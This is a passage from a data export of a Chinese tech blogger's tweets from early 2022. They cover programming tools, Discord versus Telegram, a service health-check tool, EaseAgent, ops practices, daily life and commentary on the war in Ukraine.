@CindyCreation @tinyfool @waylybaye 女人喜欢C++😜,,https://twitter.com/haoel/status/1505917912007077889\n2240,1505913500375273472,2022-03-21 14:25:31+00:00,29,0,1,,@tinyfool 下次让她按体重排序。,,https://twitter.com/haoel/status/1505913500375273472\n2241,1505911898453135362,2022-03-21 14:19:09+00:00,16,0,5,,@CindyCreation @tinyfool @waylybaye 有空我教你C++编程……,,https://twitter.com/haoel/status/1505911898453135362\n2242,1505911724901167104,2022-03-21 14:18:28+00:00,5,0,3,,@CindyCreation @tinyfool 哈哈，有空我教你C++,,https://twitter.com/haoel/status/1505911724901167104\n2243,1505907022570553348,2022-03-21 13:59:47+00:00,0,0,2,,@rothcold 截图截到另外一个产品去了。这个是原推中的第一个 https://t.co/HZdbG49F6J,,https://twitter.com/haoel/status/1505907022570553348\n2244,1505903961974345732,2022-03-21 13:47:37+00:00,18,0,8,,@CindyCreation 你要再发币圈的，我就只能取关了……,,https://twitter.com/haoel/status/1505903961974345732\n2245,1505865850946928643,2022-03-21 11:16:11+00:00,20,0,18,,京东瞬间变淘宝啊……我3月14日买的京东自营的电器，今天才从成都开出来，说估计3月23日送到。还有一件3月14日提交的订单，3月19日才“已下单”，到现在都没发货…… https://t.co/BdpWqcylqY,,https://twitter.com/haoel/status/1505865850946928643\n2246,1505420607600553984,2022-03-20 05:46:56+00:00,28,2,1,,在今天的这个时代状况下看这个电影还是很有感觉的，除了推荐这电影，更推荐这首歌，涅槃乐队的《Something in the way 》https://t.co/DIk9GwinAc https://t.co/XSnflXiJdv,\"[TextLink(text='youtu.be/1YhR5UfaAzM', url='https://youtu.be/1YhR5UfaAzM', tcourl='https://t.co/DIk9GwinAc', indices=(67, 90))]\",https://twitter.com/haoel/status/1505420607600553984\n2247,1504810847268327424,2022-03-18 13:23:58+00:00,91,0,8,,北京今天的这场雪很南方，夜晚小区里的雪景非常好看，希望是瑞雪兆丰年…… https://t.co/ersPet47tb,,https://twitter.com/haoel/status/1504810847268327424\n2248,1504690133454385155,2022-03-18 05:24:18+00:00,0,0,0,,@RunGoYes 我正在跑soak test，等跑完后开放出来,,https://twitter.com/haoel/status/1504690133454385155\n2249,1504689800611184643,2022-03-18 05:22:58+00:00,204,5,11,,有人看到我的朋友圈封面，直接说出是 Mount Rainier，厉害！这是十年前（2012/07）到西雅图时照的，穿着短袖T恤就上去了，我还背了七八瓶啤酒上山，雪山上用冰水一镇，别提多爽了，老外们都看着馋死了……这个风景如画的地方未来希望还有机会能够重返…… https://t.co/vJCRDEtzGJ,,https://twitter.com/haoel/status/1504689800611184643\n2250,1504684466693808133,2022-03-18 05:01:47+00:00,1,0,1,,@vickyedoli 牛👍🏻👍🏻，这是我2012年7月12日照的。十年了……,,https://twitter.com/haoel/status/1504684466693808133\n2251,1504681270646743045,2022-03-18 04:49:05+00:00,0,0,0,,@_ydcool 问一下 qq 有 webhook 吗？ 有就可以搞。,,https://twitter.com/haoel/status/1504681270646743045\n2252,1504632514278658049,2022-03-18 01:35:20+00:00,0,0,0,,@baogaitou 是的，golang，已经支持响应时间的阈值设置了(不过只能在连接时) 😘,,https://twitter.com/haoel/status/1504632514278658049\n2253,1504631041255886850,2022-03-18 01:29:29+00:00,38,6,0,,顺着老施查了下那个举重运动员，这个人也是很传奇，他父亲是个外交官，曾经是延安陕甘宁边区的联络官，后来还是上海总领事。这个运动员创造了三十四项世界纪录，各种冠军，退役后成为一名职业作家和记者，还参加过总统竞选。另外，他出生地在乌克兰，去年去世了，享年85岁 https://t.co/KHXMevKtYQ,\"[TextLink(text='en.wikipedia.org/wiki/Yury_Vlas…', url='https://en.wikipedia.org/wiki/Yury_Vlasov', tcourl='https://t.co/KHXMevKtYQ', indices=(128, 151))]\",https://twitter.com/haoel/status/1504631041255886850\n2254,1504623473901023244,2022-03-18 00:59:25+00:00,241,19,20,,\"最近有空，写了个探活其它服务的小程序，支持HTTP和TCP的探活，HTTP看返回码，TCP看连不连得上，然后对于状态变化进行“边缘触发”通知，发通知到Email, Slack, Discord，每天发送一个各服务的SLA报告。图中是Discrod的通知示例。写这种小工具程序会上瘾的，想问问大家有什么需求，过段时间我会开源…… https://t.co/ytTQiCRob3\",,https://twitter.com/haoel/status/1504623473901023244\n2255,1504613450584010753,2022-03-18 00:19:35+00:00,3,0,1,,@farmer1992 只发一条，是吧,,https://twitter.com/haoel/status/1504613450584010753\n2256,1504608007774121990,2022-03-17 23:57:57+00:00,0,0,0,,@vancn4 厉害👍🏻,,https://twitter.com/haoel/status/1504608007774121990\n2257,1504607416364675081,2022-03-17 23:55:36+00:00,126,2,36,,朋友圈为什么没有置顶功能？ https://t.co/7l27u7DiGT,,https://twitter.com/haoel/status/1504607416364675081\n2258,1504586324048637957,2022-03-17 22:31:48+00:00,95,23,6,,牛逼的演讲……,,https://twitter.com/haoel/status/1504586324048637957\n2259,1504110159039119372,2022-03-16 14:59:41+00:00,2,0,0,,@FriedWagyuu 这个应该不会。感觉Slack比Discord还是要稳定很多。,,https://twitter.com/haoel/status/1504110159039119372\n2260,1504042184596549634,2022-03-16 10:29:35+00:00,0,0,0,,@choicky 这个不能,,https://twitter.com/haoel/status/1504042184596549634\n2261,1504036371710689280,2022-03-16 10:06:29+00:00,64,2,11,,\"除此之外，Discord 还有，语音/视频/直播/桌面共享（除了网络质量在墙内不是很好，但还基本过得去），用户组等管理，方便实用。\n\n当然，上面还有很多国际化的社区，比如：Rust技术社区……能融入世界这就更好了……\",,https://twitter.com/haoel/status/1504036371710689280\n2262,1504036369760284675,2022-03-16 10:06:28+00:00,144,17,6,,\"discord和slack很像，对我来说，一个好的交流工具需要满足以下几点：\n1）简单的富文本，可以贴代码，可以编辑删除。\n2）可以分频道，可以在频道内有主题，这样聊天内容不会交织在一起。以主题为中心，而不是拉群\n3）容易分享网上的信息和各种链接（有预览内容）\n4）有很好的集成生态。\n这些都做到了…\",,https://twitter.com/haoel/status/1504036369760284675\n2263,1504032150642823169,2022-03-16 09:49:42+00:00,7,0,0,,@gossip_coder 好的，我考虑一下,,https://twitter.com/haoel/status/1504032150642823169\n2264,1504030783723360257,2022-03-16 09:44:17+00:00,240,18,37,,把公司吹水群从 telegram 上搬到 discord 上来了，没办法，discord 的体验比 telegram 好太多了……,,https://twitter.com/haoel/status/1504030783723360257\n2265,1503891993801285634,2022-03-16 00:32:46+00:00,166,27,2,,\"@laixintao 一个定理：但凡人多的运维基本上都是技术不行。\n\n另外，我讲一个真实的故事。我有一个百度的朋友看了阿里的技术分享就觉得特厉害，然后就去了阿里，结果发现那个技术做得还不如百度。\n\n下图是我2014年发的微博 https://t.co/vpGnZ8qK5V\",,https://twitter.com/haoel/status/1503891993801285634\n2266,1503710694083944461,2022-03-15 12:32:21+00:00,101,17,14,,前提是一标准化的软件开发，要是“一把梭”开发模式，你就不可能有标准的机器，标准的操作系统，标准的软件版本，你自然不会有标准的部署，标准的监控，更不可能有标准的控制系统。没有控制系统，还能运维啥？,,https://twitter.com/haoel/status/1503710694083944461\n2267,1503618261446901764,2022-03-15 06:25:04+00:00,1,0,1,,@CindyCreation 关注了你了啊,,https://twitter.com/haoel/status/1503618261446901764\n2268,1503542431391752198,2022-03-15 01:23:44+00:00,210,11,6,,2）对于屏蔽，就是不想让对方看到自己的观点，因为让看到了，对方会有意见，因为是朋友，所以，我要花时间和精力做出解释和说明，对于一些人，我愿意付出这个成本，但对于一些人，我不愿支出这个成本，所以就设置成一般联系人了。这不是为了减少伤害，而是为了减少“交往成本”，同是对双方都好…… 2/2,,https://twitter.com/haoel/status/1503542431391752198\n2269,1503542429806260228,2022-03-15 01:23:44+00:00,244,14,27,,今天有个微信好友问我为什么对她屏蔽了朋友圈，我说，这是一种社交自我保护。我一般会有两种保护，【拉黑】和【屏蔽】。1）拉黑一般针对主要用于三观对立的人，那怕是陌生人没有说过一句话，都要拉黑，因为三观对立的人，必然会有有冲突，冲突都是互相伤害的，为避免伤害，所以拉黑对双方都好…… 1/2,,https://twitter.com/haoel/status/1503542429806260228\n2270,1503278434557960197,2022-03-14 07:54:43+00:00,0,0,1,,@sanzomaldini @Fenng 谢谢！,,https://twitter.com/haoel/status/1503278434557960197\n2271,1503277585484054529,2022-03-14 07:51:20+00:00,2,1,4,,\"@Fenng 我看的更多的还真不是你的，你的我反而没看到。我罗列一下\nhttps://t.co/kI45aptGBM\nhttps://t.co/1PibKmy7mx\nhttps://t.co/FtZywPebx2\nhttps://t.co/l2lJqj1wqw\nhttps://t.co/BROhOU2qM9\nhttps://t.co/znIZq5r7GX\nhttps://t.co/31QgyeNTYh\nhttps://t.co/rZ8SJRgNEu\nhttps://t.co/w5cv8mtMVE\",\"[TextLink(text='mp.weixin.qq.com/s/6yCfuwEpeDrQ…', url='https://mp.weixin.qq.com/s/6yCfuwEpeDrQvg3TBHKRbw', tcourl='https://t.co/kI45aptGBM', indices=(35, 58)), TextLink(text='mp.weixin.qq.com/s/OgQ0yn83np-M…', url='https://mp.weixin.qq.com/s/OgQ0yn83np-MTNo46CfpYQ', tcourl='https://t.co/1PibKmy7mx', indices=(59, 82)), TextLink(text='mp.weixin.qq.com/s/I04yEt9o0BD0…', url='https://mp.weixin.qq.com/s/I04yEt9o0BD0dHchHg8NcQ', tcourl='https://t.co/FtZywPebx2', indices=(83, 106)), TextLink(text='mp.weixin.qq.com/s/Je7XSAbVI4I0…', url='https://mp.weixin.qq.com/s/Je7XSAbVI4I0KF00IsRhSA', tcourl='https://t.co/l2lJqj1wqw', indices=(107, 130)), TextLink(text='mp.weixin.qq.com/s/_6saYpK4qQVK…', url='https://mp.weixin.qq.com/s/_6saYpK4qQVKr3YnsDYCww', tcourl='https://t.co/BROhOU2qM9', indices=(131, 154)), TextLink(text='mp.weixin.qq.com/s/FXwFYuKplDQU…', url='https://mp.weixin.qq.com/s/FXwFYuKplDQUaLBAPhvxyQ', tcourl='https://t.co/znIZq5r7GX', indices=(155, 178)), TextLink(text='mp.weixin.qq.com/s/J2Vjc5JNCIWU…', url='https://mp.weixin.qq.com/s/J2Vjc5JNCIWUIsKRaFw5fA', tcourl='https://t.co/31QgyeNTYh', indices=(179, 202)), TextLink(text='mp.weixin.qq.com/s/EBgk3P3jWhaQ…', url='https://mp.weixin.qq.com/s/EBgk3P3jWhaQGKJDyjtoBA', tcourl='https://t.co/rZ8SJRgNEu', indices=(203, 226)), TextLink(text='m.36kr.com/p/165325369410…', url='https://m.36kr.com/p/165325369410982', tcourl='https://t.co/w5cv8mtMVE', indices=(227, 250))]\",https://twitter.com/haoel/status/1503277585484054529\n2272,1503264426949898242,2022-03-14 06:59:03+00:00,29,1,6,,是不是我没有表达好。我当然知道是因为在美国制裁名单里不给用。我想说的是重点是——那些软文，把这事写的好像所有人都不能用了，并且让人感觉未来也不能用了……其实，这几十年来，很多公司大学都在美国的制裁名单里，Windows/Intel都是禁运的，但是大众还是都能用的……我原推的重点是营销文……,,https://twitter.com/haoel/status/1503264426949898242\n2273,1503254766461153280,2022-03-14 06:20:40+00:00,58,3,15,,朋友圈又在充斥着Figma的国产竞品的营销文一一《Figma不让用了……》，我正好收到了Figma的扣费信息。我只想说，1）Figma还能用啊，2）对于国产软件，更希望看营销自己能力…… https://t.co/uSgtaBbfPd,,https://twitter.com/haoel/status/1503254766461153280\n2274,1503169721046220801,2022-03-14 00:42:43+00:00,11,0,1,,@Fenng 极有可能会成马保国……😂,,https://twitter.com/haoel/status/1503169721046220801\n2275,1503007431626215425,2022-03-13 13:57:50+00:00,1,1,1,,@3721_helper @lyricwai 强忍着用了……,,https://twitter.com/haoel/status/1503007431626215425\n2276,1503002420753756162,2022-03-13 13:37:56+00:00,58,2,5,,@wangxiaoshan 你这么回答：全世界得100分满分的是朝鲜，一例都没有……绝对是制度优越，领导能力的体现……,,https://twitter.com/haoel/status/1503002420753756162\n2277,1502851311808647168,2022-03-13 03:37:29+00:00,9,1,2,,@wey_gu 学好数学可以战胜魔法师……,,https://twitter.com/haoel/status/1502851311808647168\n2278,1502650596016283654,2022-03-12 14:19:54+00:00,75,4,2,,年轻人可能不知道这个页面是什么意思。这个页面是上古Microsoft C 编译器运行时的错误消息，参看：https://t.co/5wpDJ7XPLR。如果你用 vi 编辑打开由这种编译器编译的 exe 或 dll 文件，搜一下“stack overflow”，你就可以看到跟上述的画面中一模一样的内容。（P.S. StackOverflow是Windows架构）,\"[TextLink(text='stanislavs.org/helppc/c_error…', url='https://stanislavs.org/helppc/c_errors_-msc-.html', tcourl='https://t.co/5wpDJ7XPLR', indices=(52, 75))]\",https://twitter.com/haoel/status/1502650596016283654\n2279,1502644255377874952,2022-03-12 13:54:42+00:00,61,10,8,,又见 StackOverflow 维护中…… https://t.co/buGNUrLDHp,,https://twitter.com/haoel/status/1502644255377874952\n2280,1502516107269185540,2022-03-12 05:25:30+00:00,105,2,12,,@lidangzzz 毒害青少年的难道不是新浪微博和抖音么……,,https://twitter.com/haoel/status/1502516107269185540\n2281,1502512240183820290,2022-03-12 05:10:08+00:00,65,6,8,,@liuerfire 我以前在亚马逊的时候，整个部门（美国）一年收到简历数1200，电话面试900+，in-house 面试 120人，最终offer了8个人，还有3个人拒了offer，实招5人……,,https://twitter.com/haoel/status/1502512240183820290\n2282,1502483005830434821,2022-03-12 03:13:58+00:00,1,0,0,,@ethanhuang13 好的，删掉。,,https://twitter.com/haoel/status/1502483005830434821\n2283,1502480694995390467,2022-03-12 03:04:47+00:00,0,0,1,,@ffchen 早已过了保修期。这显示器买了5年了……,,https://twitter.com/haoel/status/1502480694995390467\n2284,1502477151345340419,2022-03-12 02:50:42+00:00,9,0,1,,@jun_cn 你太不关心我了……居然不知道我养猫……,,https://twitter.com/haoel/status/1502477151345340419\n2285,1502476974991708166,2022-03-12 02:50:00+00:00,1,0,1,,@C6NMyrt 这种伤恐怕修不了……,,https://twitter.com/haoel/status/1502476974991708166\n2286,1502473322084253698,2022-03-12 02:35:29+00:00,154,1,77,,我的4k显示器，看个视频，被猫抓了一下……两条平行线……心疼啊………😤😤😤 https://t.co/6rjRPGEHND,,https://twitter.com/haoel/status/1502473322084253698\n2287,1502470568922079235,2022-03-12 02:24:32+00:00,0,0,0,,@john1king 😂😂😂,,https://twitter.com/haoel/status/1502470568922079235\n2288,1502460291895881728,2022-03-12 01:43:42+00:00,0,0,0,,@d6g 这些关卡的单词居然不是随机的……,,https://twitter.com/haoel/status/1502460291895881728\n2289,1502245163585794049,2022-03-11 11:28:52+00:00,0,0,0,,@Anonymous0xFF 哈哈,,https://twitter.com/haoel/status/1502245163585794049\n2290,1501847742187905027,2022-03-10 09:09:39+00:00,170,22,7,,一个etcd使用大量内存的问题。我感觉etcd这样的设计就是为了高性能，但是内存使用在一些场景下还是比较猛的……这里广面告之一下…… https://t.co/4Ld9F0FsIe,,https://twitter.com/haoel/status/1501847742187905027\n2291,1501843900822011906,2022-03-10 08:54:23+00:00,0,0,2,,@zuimei1985 现在晚了么？,,https://twitter.com/haoel/status/1501843900822011906\n2292,1501798328937291778,2022-03-10 05:53:18+00:00,23,1,10,,看看新浪博客的史前web编辑器…… https://t.co/Y2cB7TQL6v,,https://twitter.com/haoel/status/1501798328937291778\n2293,1501793203527172097,2022-03-10 05:32:56+00:00,123,6,7,,今天误打误撞，居然进到了我在新浪微博上的blog，好像穿越回了15年前……（p.s.我所有的闲谈的文章最早在MSN Space上，后来迁到了新浪博客，因为有一些文章有很多敏感的思考，所以，我对所有的文章全部隐藏不公开了） https://t.co/jpgiclyBFc,,https://twitter.com/haoel/status/1501793203527172097\n2294,1501779731670204419,2022-03-10 04:39:24+00:00,50,2,2,,@im2gua 仅供参考,,https://twitter.com/haoel/status/1501779731670204419\n2295,1501778722868715523,2022-03-10 04:35:23+00:00,23,3,9,,还需要政治么？开源社区里的各种技术上的争议已经很多很多了……😂😂,,https://twitter.com/haoel/status/1501778722868715523\n2296,1501745385907257350,2022-03-10 02:22:55+00:00,11,0,2,,@Akafivon 要是那边人讲Web3（无论是本地还是外来的），那才是不真实的……,,https://twitter.com/haoel/status/1501745385907257350\n2297,1501715396054769665,2022-03-10 00:23:45+00:00,5,0,0,,@nanshenjing 你们都错了，mine明显是“我的”意思……🐶 https://t.co/kF5fTBPnVM,,https://twitter.com/haoel/status/1501715396054769665\n2298,1501511416448053252,2022-03-09 10:53:13+00:00,1,0,0,,@Atomxx3 终于可以回复你的推文了,,https://twitter.com/haoel/status/1501511416448053252\n2299,1501459558576713728,2022-03-09 07:27:09+00:00,16,2,2,,大家别忘了今天晚上的分享……,,https://twitter.com/haoel/status/1501459558576713728\n2300,1501421357254406147,2022-03-09 04:55:21+00:00,0,0,0,,@KeithBirdKTH 好吧。居然没听出来……🤪🤪,,https://twitter.com/haoel/status/1501421357254406147\n2301,1501352093495398405,2022-03-09 00:20:07+00:00,9,1,2,,这首歌来自Taylor Swift 的Shake it off https://t.co/CKrgVRykEK 不知道是late show请Taylor重新唱的，还是用AI或混音音频编辑的……,\"[TextLink(text='youtu.be/nfWlot6h_JM', url='https://youtu.be/nfWlot6h_JM', tcourl='https://t.co/CKrgVRykEK', indices=(32, 55))]\",https://twitter.com/haoel/status/1501352093495398405\n2302,1500988283748118528,2022-03-08 00:14:28+00:00,1,0,0,,@BoboXiuxiu 来听分享吧，我告诉你差别,,https://twitter.com/haoel/status/1500988283748118528\n2303,1500734624451813377,2022-03-07 07:26:31+00:00,54,11,2,,\"下面两个图是用EaseAgent + Prometheus + Grafana 对 Spring 官方的演示应用做的配置，一个是Metrics图，一个是Tracing图，这个演示项目也开源在了Github上：\nhttps://t.co/3ccy2y6RaT https://t.co/VF3GtV6n4w\",\"[TextLink(text='github.com/megaease/easea…', url='https://github.com/megaease/easeagent-spring-petclinic', tcourl='https://t.co/3ccy2y6RaT', indices=(105, 128))]\",https://twitter.com/haoel/status/1500734624451813377\n2304,1500734616151343105,2022-03-07 07:26:29+00:00,60,9,2,,我们对EaseAgent进行了比较大的重构，发布了2.0 版本，这个JavaAgent不但是我们Service Mesh的重要组件。同时，也可以当独拿出来非常容易地跟其它主流的开源监控系统作集成。我们内部“本周三晚8点”要做个功能设计及实现的Review，开放出来，欢迎外部同学也来给我们提意见…… https://t.co/sg5U60zCic https://t.co/Y0b3RQcT4b,\"[TextLink(text='meeting.tencent.com/dw/opRjyRmmKgvB', url='https://meeting.tencent.com/dw/opRjyRmmKgvB', tcourl='https://t.co/sg5U60zCic', indices=(150, 173))]\",https://twitter.com/haoel/status/1500734616151343105\n2305,1500326127193051140,2022-03-06 04:23:18+00:00,409,44,33,,某些所谓的“中立”本身也是种政治立场。这些人看到别人声明立场时，就要上去批评教育别人为什么要搞政治，甚至辱骂对方站队，这本身就是一种“政治打压”了，带有极强的政治立场，这些人是没资格让别人放弃政治立场的。真正“中立”的行为就是无论别人的政治立场是什么样的，完全不关心，完全无所谓……,,https://twitter.com/haoel/status/1500326127193051140\n2306,1500126411360595968,2022-03-05 15:09:42+00:00,1,0,1,,@Kenji_santu 你也经常过来打卡？,,https://twitter.com/haoel/status/1500126411360595968\n2307,1500044190239002626,2022-03-05 09:42:59+00:00,0,0,0,,@tinyfool Who knows,,https://twitter.com/haoel/status/1500044190239002626\n2308,1500043120989270017,2022-03-05 09:38:44+00:00,1,0,2,,@tinyfool 就是可以看到远处的裤衩楼,,https://twitter.com/haoel/status/1500043120989270017\n2309,1500042020437430273,2022-03-05 09:34:21+00:00,68,1,26,,这个天桥居然变成个网红景点了…… https://t.co/GsZU06A4Re,,https://twitter.com/haoel/status/1500042020437430273\n2310,1500002243013083139,2022-03-05 06:56:18+00:00,81,7,0,,\"在各社交平台上看到欧洲人民帮助乌克兰人的举动，摘两个跟程序员相关的\n\n图一是提供住宿的应用，由一群白俄罗斯开发人员构建的，他们在 2020 被迫逃离自己的国家。https://t.co/JaCxdWzZhM\n\n图二是某德国程序员为基辅程序员兼足球学校老师众筹二手巴士。图三众筹到的第一辆https://t.co/WrQucWAsQk https://t.co/gUAsknRAjo\",\"[TextLink(text='icanhelp.host', url='https://icanhelp.host/', tcourl='https://t.co/JaCxdWzZhM', indices=(80, 103)), TextLink(text='linkedin.com/posts/thorin-s…', url='https://www.linkedin.com/posts/thorin-schiffer_buses-for-ukrainian-children-activity-6905208442538000385-DEjc', tcourl='https://t.co/WrQucWAsQk', indices=(143, 166))]\",https://twitter.com/haoel/status/1500002243013083139\n2311,1499943869093318657,2022-03-05 03:04:20+00:00,13,0,3,,@dingyi 我这边有几个怼了我许多年，我到哪儿，他们就到哪……我叫他们“死忠黑粉”……😜,,https://twitter.com/haoel/status/1499943869093318657\n2312,1499935554581848064,2022-03-05 02:31:18+00:00,56,12,3,,源贴被 Github 删除了，所以，我做了一个gist简报（双语版）https://t.co/fxc1vaCRw6,\"[TextLink(text='gist.github.com/haoel/f0a2b6b3…', url='https://gist.github.com/haoel/f0a2b6b33118c46f8b73fc08d5266aae', tcourl='https://t.co/fxc1vaCRw6', indices=(34, 57))]\",https://twitter.com/haoel/status/1499935554581848064\n2313,1499934335356399618,2022-03-05 02:26:27+00:00,11,4,0,,\"@Huxpro 没事，应该的。另外，我帮你们做了一个gist的小简报（双语的）\nhttps://t.co/fxc1vaCRw6\",\"[TextLink(text='gist.github.com/haoel/f0a2b6b3…', url='https://gist.github.com/haoel/f0a2b6b33118c46f8b73fc08d5266aae', tcourl='https://t.co/fxc1vaCRw6', indices=(40, 63))]\",https://twitter.com/haoel/status/1499934335356399618\n2314,1499692462117310466,2022-03-04 10:25:20+00:00,17,1,1,,@tinyfool 嗯，再帮你补充一下,,https://twitter.com/haoel/status/1499692462117310466\n2315,1499681154185633793,2022-03-04 09:40:24+00:00,5,0,5,,@zfy68 昨天可是洗了五六页的，GitHub 官方帮着删掉了……你自己搜一搜你可以看的到截屏的,,https://twitter.com/haoel/status/1499681154185633793\n2316,1499639577748725764,2022-03-04 06:55:11+00:00,0,0,1,,@gaodaniel @tinyfool 还在坡县？,,https://twitter.com/haoel/status/1499639577748725764\n2317,1499638894022709248,2022-03-04 06:52:28+00:00,0,0,1,,@gaodaniel @tinyfool 才发现你也在推上,,https://twitter.com/haoel/status/1499638894022709248\n2318,1499550455675850752,2022-03-04 01:01:03+00:00,808,109,22,,发这个声明的程序员并不是一个普通的程序员，他叫Dan Abramov ，Redux 的原作者，React社区核心主力，对小白很友好，社区中的文章和回答别人问题都很友好，而且解释深入浅出。文档写得超级超级清楚。他现在在London生活，注意，他出生地是 Russian ！https://t.co/YeCY5JEUBe,\"[TextLink(text='golden.com/wiki/Dan_Abram…', url='https://golden.com/wiki/Dan_Abramov_(software_engineer)-99B8RJM', tcourl='https://t.co/YeCY5JEUBe', indices=(135, 158))]\",https://twitter.com/haoel/status/1499550455675850752\n2319,1499343991040471042,2022-03-03 11:20:38+00:00,133,1,32,,今天的晚饭，做个简单的葱油拌面，我家孩子超喜欢吃…… https://t.co/MT8mDJMxLt,,https://twitter.com/haoel/status/1499343991040471042\n2320,1499328082011820034,2022-03-03 10:17:25+00:00,8,0,1,,\"@qiankunbagua @zach_osaka 1）我先表明我的三观。我的三观早就写过了，https://t.co/VpHCUfebtI\n2）对于这样的事和人，我也表达过我的观点了：https://t.co/qIRuTvwlco\n放轻松些，多花时间提高自己。\",\"[TextLink(text='coolshell.cn/articles/19085…', url='https://coolshell.cn/articles/19085.html', tcourl='https://t.co/VpHCUfebtI', indices=(47, 70)), TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1282157541548425217?s=20&t=G7RKMDzieGpuIBS86iRJLA', tcourl='https://t.co/qIRuTvwlco', indices=(93, 116))]\",https://twitter.com/haoel/status/1499328082011820034\n2321,1499321290871619584,2022-03-03 09:50:26+00:00,2,0,0,,@qiankunbagua @zach_osaka 是不是要批判一下技术大V?,,https://twitter.com/haoel/status/1499321290871619584\n2322,1499053612663664641,2022-03-02 16:06:46+00:00,629,80,15,,我这哥们，做决定从不仓促，总喜欢先观察局势，收集信息，远离人多的地方，步步为营。这个事，让我也学到很多，灾难发生时，最危险的就是自己的慌乱，比自己慌乱更可怕的是群体性慌乱……所以，不被别人影响，冷静观察，不断调整，宁可慢人一拍，也不盲从，这心理素质，在这个时间点，真是难能可贵…… https://t.co/xdyIkOSvb6,,https://twitter.com/haoel/status/1499053612663664641\n2323,1499040463185014787,2022-03-02 15:14:31+00:00,21,0,2,,@XSIlwtVo3GQ8FkX 我已经让他写了，他日记都在notion中,,https://twitter.com/haoel/status/1499040463185014787\n2324,1499037552421998599,2022-03-02 15:02:57+00:00,1000,146,73,,我一朋友在乌克兰，23号那天，我跟他通了个视频，我说形势严峻回国吧。结果第二天开战了，房东让他一起跑路，他说先看看形势，若大乱，乱跑更糟糕，于是房东给他一沓钱就走了。他认真做了几天计划，28号从容地乘上火车横穿基辅到了西部，第二天坐上大巴到了斯洛伐克，一路上好吃好喝，真是太淡定了…… https://t.co/bjKpFgaLkp,,https://twitter.com/haoel/status/1499037552421998599\n2325,1498886336178102273,2022-03-02 05:02:05+00:00,134,5,22,,看看，Slack还支持简单的html的复制，这省去了很多事。国内哪家工作协作的IM做到了？包括所谓的做的很不错的飞书…… https://t.co/DViUHKzlgx,,https://twitter.com/haoel/status/1498886336178102273\n2326,1498564783104094210,2022-03-01 07:44:20+00:00,4,1,2,,@kongfei605 创业就是做鸡，打工是做二奶，我更想做鸡……😂,,https://twitter.com/haoel/status/1498564783104094210\n2327,1498510129309761542,2022-03-01 04:07:10+00:00,10,1,1,,@zhimin_zhang Slack. 我也放一份在gist上。https://t.co/XqZ1zHtEh2,\"[TextLink(text='gist.github.com/haoel/fdf1a428…', url='https://gist.github.com/haoel/fdf1a42897011b1678205c21d20d0028', tcourl='https://t.co/XqZ1zHtEh2', indices=(33, 56))]\",https://twitter.com/haoel/status/1498510129309761542\n2328,1498506718233325571,2022-03-01 03:53:37+00:00,73,3,17,,飞书那边有个所谓的工程师一直跟我抬杠说，交流工具里就是不需要代码块，要讨论代码上github……这个例子我希望他可以改变他的想法，如果还要来抬杠，我就只能拉黑了……（免责声明）,,https://twitter.com/haoel/status/1498506718233325571\n2329,1498504699720323075,2022-03-01 03:45:35+00:00,219,40,16,,一个很小的分享，不需要使用那些“重”的在线文档，支持富文，支持代码块，支持typo修改，多有效率，无论是发布还是阅读的人。而且不需要保存，就是一个小分享，让大家知道一下步好了（因为，这类的知识，保鲜期不长，也必要记，有印象就好，现用现Google就好了） https://t.co/17TppDNgWG,,https://twitter.com/haoel/status/1498504699720323075\n2330,1498446080127614978,2022-02-28 23:52:39+00:00,0,0,0,,@farmer1992 赞👍🏻,,https://twitter.com/haoel/status/1498446080127614978\n2331,1498309753092521987,2022-02-28 14:50:57+00:00,8,0,1,,@mranti 那一头有电视，看电视直播就好了，他们不需要说话……😂,,https://twitter.com/haoel/status/1498309753092521987\n2332,1498308758719500290,2022-02-28 14:46:59+00:00,3,0,1,,@Fenng 有电视直播呢，那一头的看电视就好了……😂,,https://twitter.com/haoel/status/1498308758719500290\n2333,1498228577053020160,2022-02-28 09:28:23+00:00,250,56,19,,\"我觉得独立思考是这样的机制：\n1）首先，这个过程一定是以怀疑的心态看问题，不然就永远不可能出现独立思考。\n2）其次，对于别人观点中的信息进行自我验证或是自我求证，通过自己的求证去伪存真。\n3）最后，用数学逻辑推导，分清楚充分和必要条件，如果推导不出也别硬来，不是任何事都非要一个答案的。\",,https://twitter.com/haoel/status/1498228577053020160\n2334,1497623888007548929,2022-02-26 17:25:34+00:00,190,50,10,,这个视频还是有点超现实的。乌克兰的平民开车经过停在高速路上开到没油的俄罗斯坦克的士兵，问他们，要不要送你们回家……,,https://twitter.com/haoel/status/1497623888007548929\n2335,1497458195027017728,2022-02-26 06:27:09+00:00,1134,227,34,,Kira Rudik 2005年从QA工程师开始，干到项目经理和产品经理，再干到智能安全家居创业公司Ring Ukraine的COO，2018该公司被Amazon 10亿美元收购，然后2019年从政成为乌克兰议员，今天在推上晒出准备扛枪保卫家园的照片…… https://t.co/Rr3CqeYZVO,,https://twitter.com/haoel/status/1497458195027017728\n2336,1497445233147088898,2022-02-26 05:35:39+00:00,1,0,0,,@janlay @nowazhu 不是bug么？,,https://twitter.com/haoel/status/1497445233147088898\n2337,1497391879364612098,2022-02-26 02:03:38+00:00,15,0,1,,@mujiang @laoyang945 看我的这篇文章： https://t.co/RxaK0elYEE,\"[TextLink(text='coolshell.cn/articles/20845…', url='https://coolshell.cn/articles/20845.html', tcourl='https://t.co/RxaK0elYEE', indices=(30, 53))]\",https://twitter.com/haoel/status/1497391879364612098\n2338,1497390133649166339,2022-02-26 01:56:42+00:00,2,0,2,,@_hisriver @nowazhu 嗯，还有好多问题，为什么有个IP地址，有个电邮，有个k8s的配置就马上不解析了，还有302跳转也有各种问题，总之，问题很多。还是我们程序员讨论问题比较客观，用事实说话。谢谢你的调查。比 @nowazhu 好太多了。,,https://twitter.com/haoel/status/1497390133649166339\n2339,1497389179767975937,2022-02-26 01:52:55+00:00,0,0,1,,@nowazhu @janlay 是的我们的讨论不在一层面上，你告诉你，你的产品有问题，取不回来，但你一直都不认，我帮了测试给你看，而你还是不认。你都不仔细看一下你测试的链接跟我是不一样的，我指出来你不仔细，你还说我言攻击。你也太敏感了吧，不能正视一下自己的不足吗？,,https://twitter.com/haoel/status/1497389179767975937\n2340,1497387665917841411,2022-02-26 01:46:54+00:00,1,0,1,,@nowazhu 废话，那个链接当然是英文的，你没看到我的链接里有 zh 吗？zh代表是中文，仔细看链接。对于用户给你反馈问题，你要先学会调查为什么你会跟我的情况不一样，然后，再来回复……不要太业余了。,,https://twitter.com/haoel/status/1497387665917841411\n2341,1497387019122593801,2022-02-26 01:44:20+00:00,0,0,1,,@nowazhu 